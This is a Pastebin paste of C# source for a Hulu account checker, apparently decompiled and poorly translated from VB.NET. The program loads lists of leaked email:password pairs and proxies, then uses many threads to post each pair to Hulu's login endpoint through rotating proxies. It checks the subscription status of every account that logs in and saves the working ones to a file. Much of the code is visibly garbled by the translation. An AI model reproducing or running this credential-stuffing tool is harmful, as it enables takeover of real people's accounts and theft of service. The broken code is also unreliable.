Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using Microsoft.VisualBasic.CompilerServices;
- using System.IO;
- using System.Runtime.CompilerServices;
- using System.Runtime.InteropServices;
- using System.Threading;
- using xNet;
- using System.Text.RegularExpressions;
- public class Form1 {
- public string str;
- private bool dragging;
- private Point offset;
- private string run_status;
- private string date1;
- public int ComboListLength;
- public int ProxyListLength;
- public int GoodCount;
- public int ErrorCount;
- public int int_4;
- public int TestedCount;
- public int AccountsRemaining;
- public int int_7;
- public object object_0;
- private Point poComboListLength;
- public ProxyType proxyType_0;
- public Queue queue_0;
- public Random random_0;
- private List<string> ComboList;
- private List<string> ProxyList;
- public string[] string_2;
- public string[] string_3;
- private string string_5;
- public Thread[] thread_0;
- public string pass;
- public string user;
- private string testfile;
- private bool bool_6;
- private int int_6;
- public Form1() {
- this.object_0 = RuntimeHelpers.GetObjectValue(new object());
- this.random_0 = new Random();
- object Me.string_2;
- object Me.string_3;
- this.string_5 = "";
- string startupPath = Application.StartupPath;
- DateTime now = DateTime.Now;
- this.testfile = string.Concat(startupPath, "\\Results\\Good_", now.ToString("M-d-yyyy_h-m"), ".txt");
- this.InitializeComponent();
- Control.CheckForIllegalCrossThreadCalls = false;
- this.text_proxyType.SelectedIndex = 0;
- this.ComboList = new List<string>();
- this.ProxyList = new List<string>();
- }
- public void AutoSaveHits() {
- IEnumerator enumerator = null;
- Using;
- ((System.IO.StreamWriter)(streamWriter)) = new System.IO.StreamWriter(this.testfile);
- try {
- enumerator = this.ListView1.Items.GetEnumerator();
- while (enumerator.MoveNext()) {
- ListViewItem current;
- enumerator.Current;
- ListViewItem;
- streamWriter.WriteLine(string.Concat(new string[] {
- current.Text,
- ":",
- current.SubItems(1).Text,
- "|Subscription:",
- current.SubItems(2).Text}));
- }
- }
- streamWriter.Close();
- }
- }
- Subpublic delegate void VBAnonymousDelegate_0();
- Endclass Unknown {
- }
- [DllImport("urlmon.dll", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)]
- private static int CoInternetSetFeatureEnabled(int int_8, int int_9, bool bool_0) {
- }
- private void Label2_Click(object sender, EventArgs e) {
- }
- private void Label3_Click(object sender, EventArgs e) {
- WindowState = FormWindowState.Minimized;
- }
- private void Form1_FormClosed(object sender, FormClosedEventArgs e) {
- Application.Exit();
- }
- private void Panel1_MouseDown(object sender, MouseEventArgs e) {
- if ((e.Button == System.Windows.Forms.MouseButtons.Left)) {
- this.bool_6 = true;
- this.int_6 = (Control.MousePosition.X - this.Location.X);
- this.int_7 = (Control.MousePosition.Y - this.Location.Y);
- }
- }
- private void Panel1_MouseMove(object sender, MouseEventArgs e) {
- if (this.bool_6) {
- int x = (Control.MousePosition.X - this.int_6);
- Point mousePosition = Control.MousePosition;
- Point point = new Point(x, (mousePosition.Y - this.int_7));
- this.Location = point;
- }
- }
- private void Panel1_MouseUp(object sender, MouseEventArgs e) {
- this.bool_6 = false;
- }
- [DllImport("Gdi32.dll", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)]
- private static IntPtr CreateRoundRectRgn(int int_8, int int_9, int ProxyListLength0, int ProxyListLength1, int ProxyListLength2, int ProxyListLength3) {
- }
- public string GenerateRandomString(ref int iLength) {
- System.Random random = new System.Random();
- char[] charArray = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLOMNOPQRSTUVWXYZ0123456789".ToCharArray();
- string str = "";
- int num = (iLength - 1);
- int num1 = 0;
- for (
- ; (num1 <= num);
- ) {
- str = string.Concat(str, Conversions.ToString(charArray[random.Next(0, int.Parse(charArray.Length))]));
- num1 = (num1 + 1);
- }
- return str;
- }
- private void Button1_Click(object sender, EventArgs e) {
- List<string> enumerator;
- (// TODO: Warning!!!! NULL EXPRESSION DETECTED...
- + Enumerator[]);
- this.ComboList.Clear();
- System.Windows.Forms.OpenFileDialog openFileDialog = new System.Windows.Forms.OpenFileDialog();
- // With...
- RestoreDirectory = true;
- Multiselect = false;
- Filter = "Combo List (*.txt)|*.txt";
- FilterIndex = 1;
- openFileDialog.ShowDialog();
- if ((Operators.CompareString(openFileDialog.FileName, null, false) > 0)) {
- List<string> strs = new List<string>();
- Using;
- ((System.IO.StreamReader)(streamReader)) = new System.IO.StreamReader(openFileDialog.FileName);
- while ((streamReader.Peek() != -1)) {
- strs.Add(streamReader.ReadLine());
- }
- }
- try {
- enumerator = strs.GetEnumerator();
- while (enumerator.MoveNext()) {
- string current = enumerator.Current;
- try {
- this.ComboList.Add(current);
- }
- catch (System.Exception exception) {
- }
- }
- }
- finally {
- enumerator;
- IDisposable;
- Dispose();
- }
- this.ComboListLength = this.ComboList.Count;
- this.AccountsRemaining = this.ComboListLength;
- this.ComboCountLabel.Text = this.ComboListLength.ToString();
- this.TestedCount = 0;
- }
- private void Button4_Click(object sender, EventArgs e) {
- List<string> enumerator;
- (// TODO: Warning!!!! NULL EXPRESSION DETECTED...
- + Enumerator[]);
- this.ProxyList.Clear();
- System.Windows.Forms.OpenFileDialog openFileDialog = new System.Windows.Forms.OpenFileDialog();
- // With...
- RestoreDirectory = true;
- Multiselect = false;
- Filter = "Proxy List (*.txt)|*.txt";
- FilterIndex = 1;
- openFileDialog.ShowDialog();
- if ((Operators.CompareString(openFileDialog.FileName, null, false) > 0)) {
- List<string> strs = new List<string>();
- Using;
- ((System.IO.StreamReader)(streamReader)) = new System.IO.StreamReader(openFileDialog.FileName);
- while ((streamReader.Peek() != -1)) {
- strs.Add(streamReader.ReadLine());
- }
- }
- try {
- enumerator = strs.GetEnumerator();
- while (enumerator.MoveNext()) {
- string current = enumerator.Current;
- try {
- this.ProxyList.Add(current);
- }
- catch (System.Exception exception) {
- }
- }
- }
- finally {
- enumerator;
- IDisposable;
- Dispose();
- }
- this.ProxyListLength = this.ProxyList.Count;
- this.ProxyCountLbl.Text = this.ProxyListLength.ToString();
- }
- public void method_6() {
- int int4 = (this.int_4 - 1);
- for (int i = 0; (i <= int4); i = (i + 1)) {
- this.thread_0(i) = new Thread(new ThreadStart(new System.EventHandler(this.method_5)));
- this.thread_0(i).IsBackground = true;
- this.thread_0(i).Abort();
- }
- }
- public static string smethod_0(string string_6, string string_7, string string_8) {
- string value;
- try {
- value = Regex.Match(string_6, (string_7 + ("(.*?)" + string_8))).Groups[1].Value;
- }
- catch (Exception ex) {
- }
- return value;
- }
- public void method_5() {
- if (string.Equals(this.run_status, "running")) {
- string proxyAddress = this.ProxyList(this.random_0.Next(0, this.ProxyListLength));
- while ((this.queue_0.Count > 0)) {
- object objectValue = RuntimeHelpers.GetObjectValue(this.object_0);
- bool flag = false;
- object objectValue2;
- string text;
- try {
- object expr_4C = RuntimeHelpers.GetObjectValue(objectValue);
- objectValue2 = RuntimeHelpers.GetObjectValue(expr_4C);
- Monitor.Enter(RuntimeHelpers.GetObjectValue(expr_4C), flag);
- try {
- text = this.queue_0.Peek().ToString().TrimEnd(new char[] {
- "\r"}).Trim();
- this.queue_0.Dequeue();
- }
- catch (Exception expr_94) {
- }
- finally {
- if (flag) {
- Monitor.Exit(RuntimeHelpers.GetObjectValue(objectValue2));
- }
- }
- string[] array = text.Split(new char[] {
- ":",
- c});
- try {
- HttpRequest httpRequest = new HttpRequest();
- httpRequest.Proxy = ProxyClient.Parse(this.proxyType_0, proxyAddress);
- CookieDictionary cookies = new CookieDictionary(false);
- httpRequest.Cookies = cookies;
- httpRequest.IgnoreProtocolErrors = true;
- httpRequest.ConnectTimeout = 25000;
- httpRequest.AllowAutoRedirect = true;
- httpRequest.KeepAlive = true;
- httpRequest.UserAgent = Http.ChromeUserAgent();
- Form1.smethod_0(httpRequest.Get("https://www.hulu.com/api/3.0/generate_csrf_value?for_hoth=true&path=/v2/web/password/authenticate", null).ToString(), "data-reactid=\"36\"/><input type=\"hidden\" name=\"authURL\" value=\"", "\" data-reactid");
- httpRequest.AddParam("csrf", httpRequest.Cookies["_tcv"]);
- httpRequest.AddParam("user_email", array[0]);
- httpRequest.AddParam("password", array[1]);
- if (httpRequest.Post("https://auth.hulu.com/v2/web/password/authenticate").ToString().Contains("{}")) {
- string text2 = httpRequest.Get(string.Concat(new string[] {
- "https://secure.hulu.com/api/3.0/subscriber/account_page_info?_user_pgid=",
- httpRequest.Cookies["_hulu_pgid"],
- "&_content_pgid=29635&_device_id=1®ion=us&locale=en&language=en&zzuser_id=",
- httpRequest.Cookies["_hulu_uid"],
- "&zzcb=18110971"}), null).ToString();
- if (!text2.Contains("has_active_subscription\": true,")) {
- goto IL_458;
- }
- str = "Active Subscription";
- objectValue = RuntimeHelpers.GetObjectValue(this.object_0);
- bool flag2 = false;
- try {
- object expr_269 = RuntimeHelpers.GetObjectValue(objectValue);
- objectValue2 = RuntimeHelpers.GetObjectValue(expr_269);
- Monitor.Enter(RuntimeHelpers.GetObjectValue(expr_269), flag2);
- array.Resize(Of, String)[this.string_2, (this.GoodCount + 1)];
- string[] array2 = text.Split(new char[] {
- ":",
- c});
- user = array2[0];
- pass = array2[1];
- this.ListView1.BeginInvoke(new Form1.VBAnonymousDelegate_0(Sub, (Unknown, Dim, listViewItemAsListViewItem=NewListViewItem(Unknown, listViewItem.Text=user, listViewItem.SubItems.Add(pass), listViewItem.SubItems.Add(str), this.ListView1.Items.Add(listViewItem), End, Sub));
- this.GoodCount++;
- this.TestedCount++;
- this.AccountsRemaining--;
- this.AutoSaveHits();
- // TODO: Continue While... Warning!!! not translated
- }
- finally {
- if (flag2) {
- Monitor.Exit(RuntimeHelpers.GetObjectValue(objectValue2));
- }
- }
- if (text2.Contains("has_active_subscription\": true,")) {
- str = "Active Subscription";
- }
- else {
- str = "Free";
- }
- objectValue = RuntimeHelpers.GetObjectValue(this.object_0);
- bool flag3 = false;
- try {
- object expr_371 = RuntimeHelpers.GetObjectValue(objectValue);
- objectValue2 = RuntimeHelpers.GetObjectValue(expr_371);
- Monitor.Enter(RuntimeHelpers.GetObjectValue(expr_371), flag3);
- array.Resize(Of, String)[this.string_2, (this.GoodCount + 1)];
- string[] array3 = text.Split(new char[] {
- ":",
- c});
- user = array3[0];
- pass = array3[1];
- this.string_2(this.GoodCount) = (text + (" |Subscription = "
- + (str + "\r\n")));
- this.ListView1.BeginInvoke(new Form1.VBAnonymousDelegate_0(Sub, (Unknown, Dim, listViewItemAsListViewItem=NewListViewItem(Unknown, listViewItem.Text=user, listViewItem.SubItems.Add(pass), listViewItem.SubItems.Add(str), this.ListView1.Items.Add(listViewItem), End, Sub));
- this.GoodCount++;
- this.TestedCount++;
- this.AccountsRemaining--;
- this.AutoSaveHits();
- // TODO: Continue While... Warning!!! not translated
- }
- finally {
- if (flag3) {
- Monitor.Exit(RuntimeHelpers.GetObjectValue(objectValue2));
- }
- }
- }
- IL_458:
- objectValue = RuntimeHelpers.GetObjectValue(this.object_0);
- bool flag4 = false;
- try {
- object expr_46D = RuntimeHelpers.GetObjectValue(objectValue);
- objectValue2 = RuntimeHelpers.GetObjectValue(expr_46D);
- Monitor.Enter(RuntimeHelpers.GetObjectValue(expr_46D), flag4);
- this.ErrorCount++;
- }
- finally {
- if (flag4) {
- Monitor.Exit(RuntimeHelpers.GetObjectValue(objectValue2));
- }
- }
- this.TestedCount++;
- this.AccountsRemaining--;
- }
- catch (Exception arg_4CF_0) {
- this.int_7++;
- this.queue_0.Enqueue(text);
- proxyAddress = this.ProxyList(this.random_0.Next(0, this.ProxyListLength));
- }
- }
- if ((this.TestedCount == this.ComboListLength)) {
- this.method_6();
- }
- }
- }
- }
- void Button2_Click(object sender, EventArgs e) {
- if ((Operators.CompareString(this.Button2.Text, "S t a r t", false) != 0)) {
- this.run_status = "stopping";
- }
- else {
- try {
- if ((this.ComboListLength == 0)) {
- }
- else if ((this.ProxyListLength != 0)) {
- if (!Directory.Exists(string.Concat(new string[] {
- "Results\\"}))) {
- Directory.CreateDirectory(string.Concat(new string[] {
- "Results\\"}));
- }
- this.run_status = "running";
- this.text_proxyType.Enabled = false;
- this.TextBox1.Enabled = false;
- switch (this.text_proxyType.SelectedIndex) {
- case 0:
- this.proxyType_0 = ProxyType.Http;
- break;
- break;
- case 1:
- this.proxyType_0 = ProxyType.Socks4;
- break;
- break;
- case 2:
- this.proxyType_0 = ProxyType.Socks5;
- break;
- break;
- default:
- MessageBox.Show("Choose Proxy type");
- return;
- break;
- }
- this.Timer1.Start();
- this.GoodCount = 0;
- this.ErrorCount = 0;
- this.string_2 = null;
- this.string_3 = null;
- this.TestedCount = 0;
- this.int_7 = 0;
- this.AccountsRemaining = this.ComboListLength;
- this.queue_0 = new Queue();
- int comboListLength = (this.ComboListLength - 1);
- int num = 0;
- for (
- ; (num <= comboListLength);
- ) {
- this.queue_0.Enqueue(this.ComboList(num));
- num = (num + 1);
- }
- this.int_4 = Convert.ToInt32(this.TextBox1.Text);
- object Me.thread_0;
- int int4 = (this.int_4 - 1);
- int num1 = 0;
- for (
- ; (num1 <= int4);
- ) {
- this.thread_0(num1) = new Thread(new ThreadStart(new System.EventHandler(this.method_5)));
- this.thread_0(num1).IsBackground = true;
- this.thread_0(num1).Start();
- num1 = (num1 + 1);
- }
- this.Timer1.Enabled = true;
- this.Button2.Text = "S t o p";
- }
- else {
- }
- }
- catch (System.Exception exception) {
- }
- }
- }
- private void Timer1_Tick(object sender, EventArgs e) {
- this.HitsCountLabel.Text = this.GoodCount.ToString();
- this.TestCountLabel.Text = this.TestedCount.ToString();
- if ((Operators.CompareString(this.run_status, "stopping", false) == 0)) {
- int int4 = (this.int_4 - 1);
- for (int i = 0; (i <= int4); i = (i + 1)) {
- if (!this.thread_0(i).IsAlive) {
- this.Button2.Text = "S t a r t";
- this.text_proxyType.Enabled = true;
- this.TextBox1.Enabled = true;
- this.Timer1.Stop();
- this.run_status = "Idle";
- }
- else {
- this.thread_0(i).Abort();
- }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement